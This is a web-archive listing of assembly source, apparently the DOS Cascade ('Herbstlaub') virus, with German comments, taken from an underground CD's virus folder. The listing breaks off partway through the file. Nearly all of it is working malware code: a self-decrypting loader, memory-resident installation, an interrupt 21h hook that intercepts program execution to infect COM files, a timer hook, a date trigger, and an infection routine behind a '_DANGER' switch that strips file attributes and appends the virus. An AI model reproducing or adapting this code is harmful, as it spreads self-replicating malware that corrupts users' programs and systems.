home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / cascade.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  37.6 KB  |  1,189 lines

  1. PAGE 62,132
  2.  
  3. TITLE    _HLV_
  4.  
  5. SUBTTL    Layout (C) 1990 164A12565AA18213165556D3125C4B962712
  6.  
  7. .RADIX    16
  8.  
  9. .LALL
  10.  
  11.  
  12.  
  13. TRUE        EQU    1
  14.  
  15. FALSE        EQU    0
  16.  
  17.  
  18.  
  19. MONTH        EQU    9D
  20.  
  21. YEAR        EQU    1991D
  22.  
  23.  
  24.  
  25. DEMO        EQU    TRUE
  26.  
  27.  
  28.  
  29. SWITCHABLE    =    TRUE
  30.  
  31. IFDEF        _NOSWITCH
  32.  
  33. SWITCHABLE    =    FALSE
  34.  
  35. ENDIF
  36.  
  37.  
  38.  
  39. comment     #
  40.  
  41. ╔══════════════════════════════════════════════════════════════════════════════╗
  42.  
  43. ║                                           ║
  44.  
  45. ║                            =====================                      ║
  46.  
  47. ║                          H E R B S T L A U B                        ║
  48.  
  49. ║                            =====================                   ║
  50.  
  51. ║                                           ║
  52.  
  53. ║                                           ║
  54.  
  55. ║    SPRACHE:    MASM 4.00  (+)  [ frühere Versionen brechen z.B. mit   ║
  56.  
  57. ║            (not v6.00 ! )    *OUT OF MEMORY* (3.00) ab oder lassen  ║
  58.  
  59. ║                    sogar den PC abstürzen (1.10) ]        ║
  60.  
  61. ║                                           ║
  62.  
  63. ║    ( Eine als Beispiel gedachte Batchdatei zur Steuerung der Übersetzung  ║
  64.  
  65. ║    ist am Ende dieses Quelltextes als Kommentar hinzugefügt. )            ║
  66.  
  67. ║                                           ║
  68.  
  69. ╚══════════════════════════════════════════════════════════════════════════════╝
  70.  
  71. ┌──────────────────────────────────────────────────────────────────────────────┐
  72.  
  73. │    Während der Übersetzung zu auszugebende Meldungen, 1. Teil.            │
  74.  
  75. └──────────────────────────────────────────────────────────────────────────────┘
  76.  
  77. #
  78.  
  79. IF1
  80.  
  81. REPT    50
  82.  
  83. %Out
  84.  
  85. ENDM;
  86.  
  87. %Out    ╔════════════════════════════════════════════════════════════════╗
  88.  
  89. %Out    ║░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  90.  
  91. %Out    ║░░░░░░░░░░░░░░░░░░░┌───────────────────────┐░░░░░░░░░░░░░░░░░░░░║
  92.  
  93. %Out    ║░░─────────────────┤  H E R B S T L A U B  ├──────────────────░░║
  94.  
  95. %Out    ║░░░░░░░░░░░░░░░░░░░└───────────────────────┘░░░░░░░░░░░░░░░░░░░░║
  96.  
  97. %Out    ║░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  98.  
  99. ENDIF
  100.  
  101. comment #
  102.  
  103. ┌──────────────────────────────────────────────────────────────────────────────┐
  104.  
  105. │    Einige Assembler - Makros.                             │
  106.  
  107. └──────────────────────────────────────────────────────────────────────────────┘
  108.  
  109. #                            ;
  110.  
  111. MSDOS        MACRO                    ;
  112.  
  113.             INT    21            ;
  114.  
  115.         ENDM                    ;
  116.  
  117. Wait_HRI_or_VRI MACRO                    ;
  118.  
  119.         LOCAL    _X_1, _X_2, _X_3        ;
  120.  
  121.         MOV    DX,03DA             ;
  122.  
  123.         CLI                    ;
  124.  
  125.       _X_1: IN    AL,DX                ;
  126.  
  127.         TEST    AL,08                ;
  128.  
  129.         JNZ    _X_3                ;
  130.  
  131.         TEST    AL,01                ;
  132.  
  133.         JNZ    _X_1                ;
  134.  
  135.       _X_2: IN    AL,DX                ;
  136.  
  137.         TEST    AL,01                ;
  138.  
  139.         JZ    _X_2                ;
  140.  
  141.       _X_3    LABEL    NEAR                ;
  142.  
  143.         ENDM                    ;------;
  144.  
  145. SAVE        MACRO      _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c  ;
  146.  
  147.          IRP  _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> ;
  148.  
  149.           IFNB     <_X>                ;------;
  150.  
  151.            IFIDN <_X>,<F>            ;
  152.  
  153.             PUSHF                ;
  154.  
  155.            ELSE                 ;
  156.  
  157.             PUSH    _X            ;
  158.  
  159.            ENDIF                ;
  160.  
  161.           ENDIF                 ;
  162.  
  163.          ENDM                    ;
  164.  
  165.         ENDM                    ;------;
  166.  
  167. REST        MACRO      _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c  ;
  168.  
  169.          IRP  _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> ;
  170.  
  171.           IFNB     <_X>                ;------;
  172.  
  173.            IFIDN <_X>,<F>            ;
  174.  
  175.             POPF                ;
  176.  
  177.            ELSE                 ;
  178.  
  179.             POP    _X            ;
  180.  
  181.            ENDIF                ;
  182.  
  183.           ENDIF                 ;
  184.  
  185.          ENDM                    ;
  186.  
  187.         ENDM                    ;
  188.  
  189. MOV_S        MACRO    S1,S2                ;
  190.  
  191.             PUSH    S2            ;
  192.  
  193.             POP    S1            ;
  194.  
  195.         ENDM                    ;
  196.  
  197.         comment                 #
  198.  
  199. ┌──────────────────────────────────────────────────────────────────────────────┐
  200.  
  201. │    Start des Code-Segments, Segment Prefix Bytes werden  n i c h t  au-   │
  202.  
  203. │    tomatisch durch den Assembler erzeugt.                       │
  204.  
  205. └──────────────────────────────────────────────────────────────────────────────┘
  206.  
  207.         #                    ;
  208.  
  209. TEXT        SEGMENT                 ;
  210.  
  211.         ASSUME    CS:TEXT,DS:TEXT,ES:TEXT,SS:TEXT ;
  212.  
  213.         comment                 #
  214.  
  215. ┌──────────────────────────────────────────────────────────────────────────────┐
  216.  
  217. │    Einige das Verständnis erleichternde Definitionen.                 │
  218.  
  219. └──────────────────────────────────────────────────────────────────────────────┘
  220.  
  221.         #                    ;
  222.  
  223. NearJmp     EQU    0E9                ;
  224.  
  225. PORT_B_8259A    EQU    20                ;
  226.  
  227. EOI_8259A    EQU    20                ;
  228.  
  229. PORT_B_8255    EQU    61                ;
  230.  
  231. FIRSTCONST    EQU    0131                ;
  232.  
  233. FIRSTBASE    EQU    FIRSTCONST  - OFFSET XI_001    ;-----;
  234.  
  235. FIRSTBASE2    EQU    (FIRSTCONST + OFFSET XI_005 - XI_001) ;
  236.  
  237. DeCrptd     EQU    0                ;-----;
  238.  
  239. EnCrptd     EQU    1                ;
  240.  
  241. BIOSDATASEG    EQU    040                ;
  242.  
  243. MonoBase    EQU    0B000                ;
  244.  
  245. ColorBase    EQU    0B800                ;
  246.  
  247. B_VIDPAGE    EQU    THIS WORD + 04E         ;
  248.  
  249. B_TIMERVAR    EQU    THIS WORD + 06C         ;
  250.  
  251. TimerInt    EQU    1C                ;
  252.  
  253. DOS        EQU    21                ;
  254.  
  255. DOS_multi    EQU    2F                ;
  256.  
  257. MS_SetDTA    EQU    1A                ;
  258.  
  259.   DTA_in_PSP    EQU    80                ;
  260.  
  261. MS_SetInt    EQU    25                ;
  262.  
  263. MS_GetDateTime    EQU    2A                ;
  264.  
  265. MS_GetVer    EQU    30                ;
  266.  
  267.   DOS_v_02    EQU    2                ;
  268.  
  269. MS_GetInt    EQU    35                ;
  270.  
  271. MS_Open     EQU    3Dh                ;
  272.  
  273.   Read_Only    EQU    0                ;
  274.  
  275.   Read_Write    EQU    2                ;
  276.  
  277. MS_Close    EQU    3E                ;
  278.  
  279. MS_Read     EQU    3F                ;
  280.  
  281. MS_Write    EQU    40                ;
  282.  
  283. MS_MoveFP    EQU    42                ;
  284.  
  285.   OfsFrmTop    EQU    0                ;
  286.  
  287.   OfsFrmEnd    EQU    02                ;
  288.  
  289. MS_GetFileAttr    EQU    4300                ;
  290.  
  291. MS_SetFileAttr    EQU    4301                ;
  292.  
  293.   Attr_A    EQU    20                ;
  294.  
  295.   Attr_SHR    EQU    7                ;
  296.  
  297.   Attr_ASHR    EQU    Attr_A OR Attr_SHR        ;
  298.  
  299. MS_AllocMem    EQU    48                ;
  300.  
  301. MS_ReleaseMem    EQU    49                ;
  302.  
  303.   MemCBsig    EQU    THIS BYTE + 0            ;
  304.  
  305.   MemCBowned    EQU    THIS WORD + 1            ;
  306.  
  307.   MemCBsize    EQU    THIS WORD + 3            ;
  308.  
  309. MS_Exec     EQU    4Bh                ;
  310.  
  311.   MS_Exec_SF0    EQU    0                ;
  312.  
  313.   Virus_fun    EQU    0ffh                ;
  314.  
  315.   Virus_Sig    EQU    55AA                ;
  316.  
  317. MS_SetPSP    EQU    50                ;
  318.  
  319.   PSPsize    EQU    00100                ;
  320.  
  321.   PSPCurCom    EQU    THIS WORD + 016         ;
  322.  
  323.   PSPEnv    EQU    THIS WORD + 02C         ;
  324.  
  325.   PSP_SegJFB    EQU    THIS WORD + 036         ;
  326.  
  327.   NoEnv     EQU    0                ;
  328.  
  329. MS_GetFileDate    EQU    5700                ;
  330.  
  331. MS_SetFileDate    EQU    5701                ;
  332.  
  333. PSP_100     EQU    THIS WORD + PSPsize        ;
  334.  
  335. PSP_102     EQU    THIS BYTE + PSPsize + 2     ;
  336.  
  337.         comment                 #
  338.  
  339. ┌──────────────────────────────────────────────────────────────────────────────┐
  340.  
  341. │    Ab hier wird Objektcode erzeugt, Datenbereich Nr. 1.               │
  342.  
  343. └──────────────────────────────────────────────────────────────────────────────┘
  344.  
  345.         #                    ;
  346.  
  347. Crypt1        DB    0                ;
  348.  
  349. Crypt2        EQU    OFFSET Crypt1 + FIRSTBASE    ;
  350.  
  351. Crypt3        EQU    Crypt1 + PSPsize        ;
  352.  
  353.         comment                 #
  354.  
  355. ┌──────────────────────────────────────────────────────────────────────────────┐
  356.  
  357. │    Einsprungstelle, entschlüsseln des Virus falls notwendig.              │
  358.  
  359. └──────────────────────────────────────────────────────────────────────────────┘
  360.  
  361.         #                    ;
  362.  
  363. XI_000:     CLI                    ;
  364.  
  365.         MOV    BP,SP                ;
  366.  
  367.         CALL    XI_001                ;
  368.  
  369. XI_001:     POP    BX                ;
  370.  
  371.         SUB    BX,FIRSTCONST            ;
  372.  
  373.         TEST    BYTE PTR CS:[BX+Crypt2],EnCrptd ;
  374.  
  375.         JZ    XI_003                ;
  376.  
  377.         LEA    SI,[BX + XR_000]        ;
  378.  
  379.         MOV    SP,OFFSET EOFC-OFFSET XI_003    ;
  380.  
  381. XI_002:     XOR    [SI],SI             ;
  382.  
  383.         XOR    [SI],SP             ;
  384.  
  385.         INC    SI                ;
  386.  
  387.         DEC    SP                ;
  388.  
  389.         JNZ    XI_002                ;
  390.  
  391. XI_003        LABEL    NEAR                ;
  392.  
  393.     XR_000    EQU    OFFSET XI_003 + FIRSTBASE    ;
  394.  
  395.     XR_001    EQU    XI_003 + PSPsize        ;
  396.  
  397.         MOV    SP,BP                ;
  398.  
  399.         JMP    SHORT XI_004            ;
  400.  
  401.         comment                 #
  402.  
  403. ┌──────────────────────────────────────────────────────────────────────────────┐
  404.  
  405. │    Datenbereich 2.                                │
  406.  
  407. └──────────────────────────────────────────────────────────────────────────────┘
  408.  
  409.         #                    ;
  410.  
  411.     XD_000    DW    PSPsize             ;
  412.  
  413. Disp_to_com_1    EQU    OFFSET XD_000 + FIRSTBASE    ;
  414.  
  415.     XD_001    DW    9090                ;
  416.  
  417. Disp_to_com_2    EQU    OFFSET XD_001 + FIRSTBASE    ;
  418.  
  419.     XD_002    DW    9090                ;
  420.  
  421. Initial_AX    EQU    OFFSET XD_002 + FIRSTBASE    ;
  422.  
  423.     XD_003    EQU    THIS WORD            ;
  424.  
  425.     XD_004    EQU    THIS BYTE + 2            ;
  426.  
  427.         NOP                    ;
  428.  
  429.         NOP                    ;
  430.  
  431.         NOP                    ;
  432.  
  433. Org1stInstr_s1    EQU    OFFSET XD_003 + FIRSTBASE    ;
  434.  
  435. Org1stInstr_t1    EQU    XD_003 + PSPsize        ;
  436.  
  437. Org1stInstr_t2    EQU    XD_003 + PSPsize + 1        ;
  438.  
  439. Org1stInstr_s2    EQU    OFFSET XD_004 + FIRSTBASE    ;
  440.  
  441.     XD_005    DW    2 dup ( 9090 )            ;
  442.  
  443. Org_Int_1C    EQU    XD_005 + PSPsize        ;
  444.  
  445.     XD_006    DW    2 dup ( 9090 )            ;
  446.  
  447. Org_int_21s    EQU    OFFSET XD_006 + FIRSTBASE    ;
  448.  
  449. Org_Int_21t    EQU    XD_006 + PSPsize        ;
  450.  
  451.                             ;
  452.  
  453. IF SWITCHABLE                        ;
  454.  
  455.                             ;
  456.  
  457.     XD_007    DW    2 dup ( 9090 )            ;
  458.  
  459. Org_Int_2F    EQU    XD_007 + PSPsize        ;
  460.  
  461.     XD_008    DB    5, "_HLV_    "            ;
  462.  
  463. Cmd_2F        EQU    XD_008 + PSPsize        ;
  464.  
  465.     XD_009    DB    'HLV is on',0Dh,0Ah,'$'     ;
  466.  
  467. Msg_On        EQU    XD_009 + PSPsize        ;
  468.  
  469.     XD_010    DB    'HLV is off',0Dh,0Ah,'$'    ;
  470.  
  471. Msg_Off     EQU    XD_010 + PSPsize        ;
  472.  
  473.                             ;
  474.  
  475. ENDIF                            ;
  476.  
  477.                             ;
  478.  
  479.     XD_011    DW    9090                ;
  480.  
  481. File_Attributes EQU    XD_011 + PSPsize        ;
  482.  
  483.     XD_012    DW    9090                ;
  484.  
  485. File_Date    EQU    XD_012 + PSPsize        ;
  486.  
  487.     XD_013    DW    9090                ;
  488.  
  489. File_Time    EQU    XD_013 + PSPsize        ;
  490.  
  491.     XD_014    DW    2 dup ( 9090 )            ;
  492.  
  493. Pathname    EQU    XD_014 + PSPsize        ;
  494.  
  495.     XD_015    DW    2 dup ( 9090 )            ;
  496.  
  497. File_Size_lsb    EQU    XD_015 + PSPsize        ;
  498.  
  499. File_Size_msb    EQU    XD_015 + PSPsize + 2        ;
  500.  
  501.     XD_016    DB    NearJmp             ;
  502.  
  503. FirstOpCode_1    EQU    XD_016 + PSPsize        ;
  504.  
  505.     XD_017    DW    9090                ;
  506.  
  507. FirstOpCode_2    EQU    XD_017 + PSPsize        ;
  508.  
  509.     XD_018    DB    90                ;
  510.  
  511. Num_of_Col    EQU    XD_018 + PSPsize        ;
  512.  
  513.     XD_019    DB    90                ;
  514.  
  515. Last_Line    EQU    XD_019 + PSPsize        ;
  516.  
  517.     XD_020    DB    90                ;
  518.  
  519. Prevent_Snow?    EQU    XD_020 + PSPsize        ;
  520.  
  521. Last_Pair    EQU    THIS WORD + PSPsize        ;
  522.  
  523.     XD_021    DB    90                ;
  524.  
  525.     XD_022    DB    90                ;
  526.  
  527. Last_Char    EQU    XD_021 + PSPsize        ;
  528.  
  529. Last_Attr    EQU    XD_022 + PSPsize        ;
  530.  
  531. RecTyp1 RECORD    ExtCom:1, Recf_1:1, R_in_1c:1        ;
  532.  
  533.     XD_023    RecTyp1 <0,0,0>             ;
  534.  
  535. ISR_Flags    EQU    XD_023 + PSPsize        ;
  536.  
  537.     XD_024    DW    9090                ;
  538.  
  539. Seg_of_VRAM    EQU    XD_024 + PSPsize        ;
  540.  
  541.     XD_025    DW    9090                ;
  542.  
  543. Page_offset    EQU    XD_025 + PSPsize        ;
  544.  
  545.     XD_026    DW    9090                ;
  546.  
  547. Speed        EQU    XD_026 + PSPsize        ;
  548.  
  549.     XD_027    DW    9090                ;
  550.  
  551. XR_002 EQU    XD_027 + PSPsize            ;
  552.  
  553.     XD_028    DW    9090                ;
  554.  
  555. XR_003 EQU    XD_028 + PSPsize            ;
  556.  
  557.     XD_029    DW    9090                ;
  558.  
  559. Num_of_char    EQU    XD_029 + PSPsize        ;
  560.  
  561.     XD_030    DW    9090                ;
  562.  
  563. XR_004 EQU    XD_030 + PSPsize            ;
  564.  
  565.     XD_031    DW    7 dup ( 9090 )            ;
  566.  
  567. FirstRandom    EQU    XD_031 + PSPsize        ;
  568.  
  569. LastRandom    EQU    This Word + PSPsize        ;
  570.  
  571.         DW    9090                ;
  572.  
  573.         comment                 #
  574.  
  575. ┌──────────────────────────────────────────────────────────────────────────────┐
  576.  
  577. │    Installieren u. relozieren falls notwendig.                    │
  578.  
  579. └──────────────────────────────────────────────────────────────────────────────┘
  580.  
  581.         #                    ;
  582.  
  583. XI_004:     CALL    XI_005                ;
  584.  
  585. XI_005        LABEL    NEAR                ;
  586.  
  587. XR_005        EQU    XI_005 + PSPsize        ;
  588.  
  589.         POP    BX                ;
  590.  
  591.         SUB    BX,FIRSTBASE2            ;
  592.  
  593.         MOV    CS:[BX+Disp_to_com_2],CS    ;
  594.  
  595.         MOV    CS:[BX+Initial_AX],AX        ;
  596.  
  597.         MOV    AX,CS:[BX+Org1stInstr_s1]    ;
  598.  
  599.         MOV    [PSP_100],AX            ;
  600.  
  601.         MOV    AL,CS:[BX+Org1stInstr_s2]    ;
  602.  
  603.         MOV    [PSP_102],AL            ;
  604.  
  605.         PUSH    BX                ;
  606.  
  607.         MOV    AH,MS_GetVer            ;
  608.  
  609.         MSDOS                    ;
  610.  
  611.         POP    BX                ;
  612.  
  613.         CMP    AL,DOS_v_02            ;
  614.  
  615.         JB    XI_006                ;
  616.  
  617.         MOV    AX,MS_Exec * 100 + Virus_fun    ;
  618.  
  619.         XOR    DI,DI                ;
  620.  
  621.         XOR    SI,SI                ;
  622.  
  623.         MSDOS                    ;
  624.  
  625.         CMP    DI,Virus_sig            ;
  626.  
  627.         JNZ    XI_007                ;
  628.  
  629. XI_006:     STI                    ;
  630.  
  631.         MOV_S    ES,DS                ;
  632.  
  633.         MOV    AX,CS:[BX+Initial_AX]        ;
  634.  
  635.         JMP    DWORD PTR CS:[BX+Disp_to_com_1] ;
  636.  
  637. XI_007:     PUSH    BX                ;
  638.  
  639.         MOV    AX,MS_GetInt * 100 + DOS    ;
  640.  
  641.         MSDOS                    ;
  642.  
  643.         MOV    AX,BX                ;
  644.  
  645.         POP    BX                ;
  646.  
  647.         MOV    CS:[BX+Org_int_21s],AX        ;
  648.  
  649.         MOV    CS:[BX+Org_int_21s + 2],ES    ;------------;
  650.  
  651.         MOV    AX, (OFFSET EOFC - OFFSET Crypt1) SHR 4 + 11 ;
  652.  
  653.         MOV    BP,CS                ;------------;
  654.  
  655.         DEC    BP                ;
  656.  
  657.         MOV    ES,BP                ;
  658.  
  659.         MOV    SI,CS:[PSPCurCom]        ;
  660.  
  661.         MOV    ES:[MemCBowned],SI        ;
  662.  
  663.         MOV    DX,ES:[MemCBsize]        ;
  664.  
  665.         MOV    ES:[MemCBsize],AX        ;
  666.  
  667.         MOV    ES:[MemCBsig],'M'        ;
  668.  
  669.         SUB    DX,AX                ;
  670.  
  671.         DEC    DX                ;
  672.  
  673.         INC    BP                ;
  674.  
  675.         ADD    BP,AX                ;
  676.  
  677.         INC    BP                ;
  678.  
  679.         MOV    ES,BP                ;
  680.  
  681.         PUSH    BX                ;
  682.  
  683.         MOV    AH,MS_SetPSP            ;
  684.  
  685.         MOV    BX,BP                ;
  686.  
  687.         MSDOS                    ;
  688.  
  689.         POP    BX                ;
  690.  
  691.         XOR    DI,DI                ;
  692.  
  693.         MOV_S    SS,ES                ;
  694.  
  695.         PUSH    DI                ;
  696.  
  697.         LEA    DI,[BX+XR_010]            ;
  698.  
  699.         MOV    SI,DI                ;
  700.  
  701.         MOV    CX,OFFSET EOFC            ;
  702.  
  703.         STD                    ;
  704.  
  705.         REPZ    MOVSB                ;
  706.  
  707.         PUSH    ES                ;
  708.  
  709.         LEA    CX,[BX+XR_006]            ;
  710.  
  711.         PUSH    CX                ;
  712.  
  713.         RETF                    ;
  714.  
  715. XI_008        LABEL    NEAR                ;
  716.  
  717. XR_006        EQU    OFFSET XI_008 + FIRSTBASE    ;
  718.  
  719.         MOV    CS:[BX+Disp_to_com_2],CS    ;
  720.  
  721.         LEA    CX,[BX+Crypt2]            ;
  722.  
  723.         REPZ    MOVSB                ;
  724.  
  725.         MOV    CS:[PSP_SegJFB],CS        ;
  726.  
  727.         DEC    BP                ;
  728.  
  729.         MOV    ES,BP                ;
  730.  
  731.         MOV    ES:[MemCBsize],DX        ;
  732.  
  733.         MOV    ES:[MemCBsig],'Z'        ;
  734.  
  735.         MOV    ES:[MemCBowned],CS        ;
  736.  
  737.         INC    BP                ;
  738.  
  739.         MOV    ES,BP                ;
  740.  
  741.         MOV_S    ES,DS                ;
  742.  
  743.         MOV_S    DS,CS                ;
  744.  
  745.         LEA    SI,[BX+Crypt2]            ;
  746.  
  747.         MOV    DI,PSPsize            ;
  748.  
  749.         MOV    CX,OFFSET EOFC            ;
  750.  
  751.         CLD                    ;
  752.  
  753.         REPZ    MOVSB                ;
  754.  
  755.         PUSH    ES                ;
  756.  
  757.         LEA    AX,[XR_007]            ;
  758.  
  759.         PUSH    AX                ;
  760.  
  761.         RETF                    ;
  762.  
  763. XI_009        LABEL    NEAR                ;
  764.  
  765. XR_007        EQU    XI_009 + PSPsize        ;
  766.  
  767.         MOV    CS:[PSPEnv],NoEnv        ;
  768.  
  769.         MOV    CS:[PSPCurCom],CS        ;
  770.  
  771.         PUSH    DS                ;
  772.  
  773.         LEA    DX,[XR_008]            ;
  774.  
  775.         MOV_S    DS,CS                ;
  776.  
  777.         MOV    AX,MS_SetInt * 100 + DOS    ;
  778.  
  779.         MSDOS                    ;
  780.  
  781.         POP    DS                ;
  782.  
  783.         MOV    AH,MS_SetDTA            ;
  784.  
  785.         MOV    DX,DTA_in_PSP            ;
  786.  
  787.         MSDOS                    ;
  788.  
  789.         SAVE    DS,ES,SI,DI,CX            ;
  790.  
  791.         MOV_S    ES,CS                ;
  792.  
  793.         MOV    CX,BIOSDATASEG            ;
  794.  
  795.         MOV    DS,CX                ;
  796.  
  797.         MOV    DI,OFFSET FirstRandom        ;
  798.  
  799.         MOV    SI,OFFSET B_TIMERVAR        ;
  800.  
  801.         MOV    CL,8                ;
  802.  
  803.         CLD                    ;
  804.  
  805.         REPZ    MOVSW                ;
  806.  
  807.         REST    CX,DI,SI,ES,DS            ;
  808.  
  809.                             ;
  810.  
  811. IF SWITCHABLE                        ;
  812.  
  813.                             ;
  814.  
  815.         PUSH    DS                ;
  816.  
  817.         MOV    AX,MS_GetInt * 100 + DOS_multi    ;
  818.  
  819.         MSDOS                    ;
  820.  
  821.         MOV    CS:[Org_Int_2F],BX        ;
  822.  
  823.         MOV    CS:[Org_Int_2F + 2],ES        ;
  824.  
  825.         MOV    AX,MS_SetInt * 100 + DOS_multi    ;
  826.  
  827.         MOV    DX,offset Int_2F_ISR        ;
  828.  
  829.         MOV_S    DS,CS                ;
  830.  
  831.         MSDOS                    ;
  832.  
  833.         POP    DS                ;
  834.  
  835.                             ;
  836.  
  837. ENDIF                            ;
  838.  
  839.                             ;
  840.  
  841.         OR    CS:[ISR_Flags],MASK ExtCom    ;
  842.  
  843.         MOV    AH,MS_GetDateTime        ;
  844.  
  845.         MSDOS                    ;
  846.  
  847.         CMP    CX,YEAR             ;
  848.  
  849.         JZ    XI_010                ;
  850.  
  851.         JMP    SHORT XI_011            ;
  852.  
  853. XI_010:     CMP    DH,MONTH            ;
  854.  
  855.         JB    XI_011                ;
  856.  
  857.         AND    CS:[ISR_Flags],NOT MASK ExtCom    ;
  858.  
  859. XI_011:     MOV    AX,1518             ;
  860.  
  861.         CALL    Random                ;
  862.  
  863.         INC    AX                ;
  864.  
  865.         MOV    CS:[XR_002],AX            ;
  866.  
  867.         MOV    CS:[XR_003],AX            ;
  868.  
  869.         MOV    CS:[XR_004],1            ;
  870.  
  871.         MOV    AX,MS_GetInt * 100 + TimerInt    ;
  872.  
  873.         MSDOS                    ;
  874.  
  875.         MOV    CS:[Org_Int_1C],BX        ;
  876.  
  877.         MOV    CS:[Org_Int_1C + 2],ES        ;
  878.  
  879.         PUSH    DS                ;
  880.  
  881.         MOV    AX,MS_SetInt * 100 + TimerInt    ;
  882.  
  883.         MOV    DX,OFFSET XR_009        ;
  884.  
  885.         MOV_S    DS,CS                ;
  886.  
  887.         MSDOS                    ;
  888.  
  889.         POP    DS                ;
  890.  
  891. XI_012:     MOV    BX,OFFSET XR_005 - (FIRSTBASE2) ;
  892.  
  893.         JMP    XI_006                ;
  894.  
  895.         comment                 #
  896.  
  897. ┌──────────────────────────────────────────────────────────────────────────────┐
  898.  
  899. │    Neue Interrupt 21(h) Behandlungsroutine ( verändert Exec - Funktion ). │
  900.  
  901. └──────────────────────────────────────────────────────────────────────────────┘
  902.  
  903.         #                    ;
  904.  
  905. XI_013        LABEL    NEAR                ;
  906.  
  907. XR_008        EQU    XI_013 + PSPsize        ;
  908.  
  909.         CMP    AH,MS_Exec            ;
  910.  
  911.         JZ    XI_016                ;
  912.  
  913. XI_014:     JMP    DWORD PTR CS:[Org_Int_21t]    ;
  914.  
  915. XI_015:     MOV    DI,Virus_Sig            ;
  916.  
  917.         LES    AX,CS:DWORD PTR [Org_Int_21t]    ;
  918.  
  919.         MOV    DX,CS                ;
  920.  
  921.         IRET                    ;
  922.  
  923. XI_016:     CMP    AL,Virus_fun            ;
  924.  
  925.         JZ    XI_015                ;
  926.  
  927.         CMP    AL,MS_Exec_SF0            ;
  928.  
  929.         JNZ    XI_014                ;
  930.  
  931.         SAVE    F,AX,BX,CX,DX,SI,DI,BP,ES,DS    ;
  932.  
  933.         MOV    CS:[Pathname],DX        ;
  934.  
  935.         MOV    CS:[Pathname + 2],DS        ;
  936.  
  937.         MOV_S    ES,CS                ;
  938.  
  939.         MOV    AX,MS_Open * 100 + Read_Only    ;
  940.  
  941.         MSDOS                    ;
  942.  
  943.         JB    XI_018                ;
  944.  
  945.         MOV    BX,AX                ;
  946.  
  947.         MOV    AX,MS_GetFileDate        ;
  948.  
  949.         MSDOS                    ;
  950.  
  951.         MOV    CS:[File_Date],DX        ;
  952.  
  953.         MOV    CS:[File_Time],CX        ;
  954.  
  955.         MOV    AH,MS_Read            ;
  956.  
  957.         MOV_S    DS,CS                ;
  958.  
  959.         MOV    DX,OFFSET Org1stInstr_t1    ;
  960.  
  961.         MOV    CX,3                ;
  962.  
  963.         MSDOS                    ;
  964.  
  965.         JB    XI_018                ;
  966.  
  967.         CMP    AX,CX                ;
  968.  
  969.         JNZ    XI_018                ;
  970.  
  971.         MOV    AX,MS_MoveFP * 100 + OfsFrmEnd    ;
  972.  
  973.         XOR    CX,CX                ;
  974.  
  975.         XOR    DX,DX                ;
  976.  
  977.         MSDOS                    ;
  978.  
  979.         MOV    CS:[File_Size_lsb],AX        ;
  980.  
  981.         MOV    CS:[File_Size_msb],DX        ;
  982.  
  983.         MOV    AH,MS_Close            ;
  984.  
  985.         MSDOS                    ;---------------;
  986.  
  987.         CMP    CS:[Org1stInstr_t1], 'Z' * 100 + 'M'        ;
  988.  
  989.         JNZ    XI_017                        ;
  990.  
  991.         JMP    XI_025                        ;
  992.  
  993. XI_017:     CMP    CS:[File_Size_msb],+0                ;
  994.  
  995.         JA    XI_018                        ;
  996.  
  997.         CMP    CS:[File_Size_lsb],offset Crypt1-offset EOFC-20 ;
  998.  
  999.         JBE    XI_019                        ;
  1000.  
  1001. XI_018:     JMP    XI_025                        ;
  1002.  
  1003. XI_019:     CMP    BYTE PTR CS:[Org1stInstr_t1],NearJmp        ;
  1004.  
  1005.         JNZ    XI_020                        ;
  1006.  
  1007.         MOV    AX,CS:[File_Size_lsb]                ;
  1008.  
  1009.         ADD    AX,OFFSET Crypt1 - offset EOFC - 2        ;
  1010.  
  1011.         CMP    AX,CS:[Org1stInstr_t2]        ;---------------;
  1012.  
  1013.         JZ    XI_018                ;
  1014.  
  1015.                             ;
  1016.  
  1017. IF DEMO                         ;
  1018.  
  1019. XI_020:     CALL    DEMO_Infect            ;
  1020.  
  1021.         JMP    XI_025                ;
  1022.  
  1023.                             ;
  1024.  
  1025. IF2                            ;----------------;
  1026.  
  1027. %Out    ║░░░░░░░░░░░░░░░░░░░░░░╔═════════════════╗░░░░░░░░░░░░░░░░░░░░░░░║
  1028.  
  1029. %Out    ║░░░░░░░░░░░░░░░░░░░░░░║ Demo - Version, ║░░░░░░░░░░░░░░░░░░░░░░░║
  1030.  
  1031. %Out    ║░░░░░░░░░░░░░░░░░░░░░░║ k e i n  Virus. ║░░░░░░░░░░░░░░░░░░░░░░░║
  1032.  
  1033. ENDIF                            ;----------------;
  1034.  
  1035. ELSE                            ;
  1036.  
  1037. IFDEF    _DANGER                     ;
  1038.  
  1039. XI_020        MOV    AX,MS_GetFileAttr        ;
  1040.  
  1041.         LDS    DX,CS:DWORD PTR [Pathname]    ;
  1042.  
  1043.         MSDOS                    ;
  1044.  
  1045.         JB    XI_018                ;
  1046.  
  1047.         MOV    CS:[File_Attributes],CX     ;
  1048.  
  1049.         XOR    CL,Attr_A            ;
  1050.  
  1051.         TEST    CL,Attr_ASHR            ;
  1052.  
  1053.         JZ    XI_021                ;
  1054.  
  1055.         MOV    AX,MS_SetFileAttr        ;
  1056.  
  1057.         XOR    CX,CX                ;
  1058.  
  1059.         MSDOS                    ;
  1060.  
  1061.         JB    XI_018                ;
  1062.  
  1063. XI_021:     MOV    AX,MS_Open * 100 + Read_Write    ;
  1064.  
  1065.         MSDOS                    ;
  1066.  
  1067.         JB    XI_018                ;
  1068.  
  1069.         MOV    BX,AX                ;
  1070.  
  1071.         MOV    AX,MS_MoveFP * 100 + OfsFrmEnd    ;
  1072.  
  1073.         XOR    CX,CX                ;
  1074.  
  1075.         XOR    DX,DX                ;
  1076.  
  1077.         MSDOS                    ;
  1078.  
  1079.         CALL    Append_Virus            ;
  1080.  
  1081.         JNB    XI_022                ;
  1082.  
  1083.         MOV    AX,MS_MoveFP * 100 + OfsFrmTop    ;
  1084.  
  1085.         MOV    CX,CS:[File_Size_msb]        ;
  1086.  
